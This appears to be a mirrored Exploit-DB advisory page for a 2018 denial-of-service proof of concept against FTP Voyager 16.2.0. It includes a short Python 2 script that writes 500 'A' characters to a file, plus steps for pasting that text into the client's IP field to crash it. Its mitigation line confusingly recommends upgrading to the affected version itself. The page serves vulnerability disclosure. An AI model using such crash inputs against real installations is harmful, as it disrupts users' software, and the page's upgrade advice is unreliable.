FTP Voyager 16.2.0 - Denial of Service (PoC)

vendor:

FTP Voyager

by:

Abdullah Alıç

7.8

CVSS

HIGH

Denial of Service

119

CWE

Product Name: FTP Voyager

Affected Version From: 16.2.0

Affected Version To: 16.2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:serv-u:ftp_voyager

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows XP Professional sp3 (ENG)

2018

FTP Voyager 16.2.0 – Denial of Service (PoC)

A buffer overflow vulnerability exists in FTP Voyager 16.2.0, which could allow an attacker to cause a denial of service condition. The vulnerability is due to improper bounds checking of user-supplied data, which can be exploited by an attacker to cause a stack-based buffer overflow by sending a specially crafted request to the vulnerable application. An attacker can send a specially crafted request containing an overly long string to trigger this vulnerability.

Mitigation:

Upgrade to the latest version of FTP Voyager 16.2.0 or later.

Source

Exploit-DB raw data:

# Exploit Title: FTP Voyager 16.2.0 - Denial of Service (PoC)
# Author: Abdullah Alıç
# Discovey Date: 2018-10-2
# Vendor notified : 2018-10-2
# Homepage: https://www.serv-u.com/
# Software Link: https://www.serv-u.com/ftp-voyager
# Tested Version: 16.2.0
# Tested on OS: Windows XP Professional sp3 (ENG)
# Steps to Reproduce: Run the python exploit script, it will create a new file
# with the name "boom.txt". Copy the content of the new file "boom.txt". 
# Start FTP Voyager click "site profiles" >>  New site >> Paste the content into field "IP:" field and hit enter! 
  
#!/usr/bin/python
   
buffer = "A" * 500

payload = buffer
try:
    f=open("boom.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"